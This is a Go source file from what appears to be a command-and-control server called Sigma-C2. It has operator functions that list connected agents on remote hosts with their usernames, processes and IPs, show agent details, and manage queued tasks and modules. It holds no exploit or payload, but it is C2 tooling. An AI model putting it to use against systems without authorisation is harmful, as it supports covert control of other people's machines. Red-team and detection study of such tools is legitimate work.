Files
Sigma-C2/server/operator_commands.go

196 lines
5.7 KiB
Go

package main
import (
"fmt"
"log"
"strings"
"text/tabwriter"
"time"
)
func ListAgents(operatorID string) {
var sb strings.Builder
operatorConn, _ := GetOperatorConn(operatorID)
tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0) // Initialize a tab writer
// Write the header row
fmt.Fprintln(tw, "ID\tOS\tUsername\tProcess (PID)\tRemote Address\tLast Seen")
fmt.Fprintln(tw, "==========\t==========\t========\t==============\t===============\t==========")
// Iterate over the agents and write their details
agents.Range(func(key, value interface{}) bool {
agentID := key.(string)
agentInfo := value.(*AgentInfo)
// Extract OS (only first two parts: "Windows 10" for example)
osParts := strings.Fields(agentInfo.OSVersion)
os := ""
if len(osParts) >= 3 {
os = fmt.Sprintf("%s %s", osParts[0], osParts[1]) // e.g., "Windows 10"
} else {
os = agentInfo.OSVersion // Fallback if OS is shorter than expected
}
// Extract just the executable name from the full path
// Extract executable name from the full path, handling both Windows and Unix paths
procPath := agentInfo.Procname
// Replace backslashes with forward slashes for consistency
procPath = strings.ReplaceAll(procPath, "\\", "/")
// Get the last part after the final slash
parts := strings.Split(procPath, "/")
procName := parts[len(parts)-1]
// Format the last connection time
lastMsg := agentInfo.LastConnection.Format("Jan 2 15:04:05")
timeSinceLast := time.Since(agentInfo.LastConnection).Truncate(time.Second)
lastMsgWithAgo := fmt.Sprintf("%s (%s ago)", lastMsg, timeSinceLast)
// Write a row for each agent
fmt.Fprintf(tw, "%s\t%s\t%s\t%s (%s)\t%s\t%s\n",
agentID,
os,
agentInfo.Username,
procName,
agentInfo.PID,
agentInfo.RemoteIP,
lastMsgWithAgo,
)
return true
})
// Flush the tab writer and write to operator connection
tw.Flush()
if sb.Len() == 0 {
operatorConn.Write([]byte("No agents connected"))
} else {
operatorConn.Write([]byte("Agents:\n" + sb.String()))
}
}
// Get information about specific agent
func ShowAgent(operatorID string, agentID string) {
operatorConn, exists := GetOperatorConn(operatorID)
if !exists {
return
}
value, exists := agents.Load(agentID)
if !exists {
operatorConn.Write([]byte("Agent not found"))
return
}
agentInfo := value.(*AgentInfo)
// Format last connection time
lastMsg := agentInfo.LastConnection.Format("Jan 2 15:04:05")
timeSinceLast := time.Since(agentInfo.LastConnection).Truncate(time.Second)
lastMsgWithAgo := fmt.Sprintf("%s (%s ago)", lastMsg, timeSinceLast)
var sb strings.Builder
tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0)
// Write agent details in tabular format
fmt.Fprintln(tw, "Field\tDescription")
fmt.Fprintln(tw, "============\t===============================")
fmt.Fprintf(tw, "Agent ID\t%s\n", agentID)
fmt.Fprintf(tw, "OS\t%s\n", agentInfo.OSVersion)
fmt.Fprintf(tw, "Architecture\t%s\n", agentInfo.Architecture)
fmt.Fprintf(tw, "Process\t%s\n", agentInfo.Procname)
fmt.Fprintf(tw, "PID\t%s\n", agentInfo.PID)
fmt.Fprintf(tw, "Hostname\t%s\n", agentInfo.Hostname)
fmt.Fprintf(tw, "Username\t%s\n", agentInfo.Username)
fmt.Fprintf(tw, "Local IP\t%s\n", agentInfo.LocalIP)
fmt.Fprintf(tw, "Remote IP\t%s\n", agentInfo.RemoteIP)
fmt.Fprintf(tw, "Last Connection\t%s\n", lastMsgWithAgo)
// Flush and send response
tw.Flush()
operatorConn.Write([]byte(sb.String()))
}
// Show information about certain agent
func ShowTasks(operatorID string, cmdParts []string) {
var response string
operatorConn, _ := GetOperatorConn(operatorID)
agentID := cmdParts[2]
if _, agentExists := agents.Load(agentID); !agentExists {
response = fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return // Return early if the agent doesn't exist.
}
tasks := taskHandler.ListTasks(agentID)
if len(tasks) == 0 {
response = fmt.Sprintf("No tasks for agent %s", agentID)
} else {
response = fmt.Sprintf("Tasks for agent %s\n", agentID)
for i, task := range tasks {
taskMessage := fmt.Sprintf("Task #%d: command: \"%s\", arguments: \"%s\"\n", i+1, task.Type, task.Args)
response += taskMessage
}
}
operatorConn.Write([]byte(response))
}
// Remove all tasks assigned to a agent
func ClearTasks(operatorID string, cmdParts []string) {
var response string
agentID := cmdParts[2]
operatorConn, _ := GetOperatorConn(operatorID)
if _, agentExists := agents.Load(agentID); !agentExists {
logMessage := fmt.Sprintf("Operator %s requested to clear tasks for non-existent agent: %s", operatorID, agentID)
log.Print(logMessage)
response = fmt.Sprintf("Agent %s not found", agentID)
operatorConn.Write([]byte(response))
return
}
logMessage := fmt.Sprintf("Operator %s requested to clear all tasks for agent: %s", operatorID, agentID)
log.Print(logMessage)
taskHandler.ClearTasks(agentID)
response = fmt.Sprintf("Cleared task list for agent: %s", agentID)
operatorConn.Write([]byte(response))
}
// Print the list of all loaded modules
func ShowModules(operatorID string) {
operatorConn, exists := GetOperatorConn(operatorID)
if !exists {
return
}
if len(modules) == 0 {
operatorConn.Write([]byte("No modules loaded"))
return
}
var sb strings.Builder
tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0)
// Write header
fmt.Fprintln(tw, "Module\tType\tPath\tDescription")
fmt.Fprintln(tw, "============\t============\t============\t===============================")
// List all modules in tabular format
for _, module := range modules {
fmt.Fprintf(tw, "%s\t%s\t%s\t%s\n",
module.Name, module.Type, module.Path, module.Description)
}
// Flush and send response
tw.Flush()
operatorConn.Write([]byte("Loaded modules:\n" + sb.String()))
}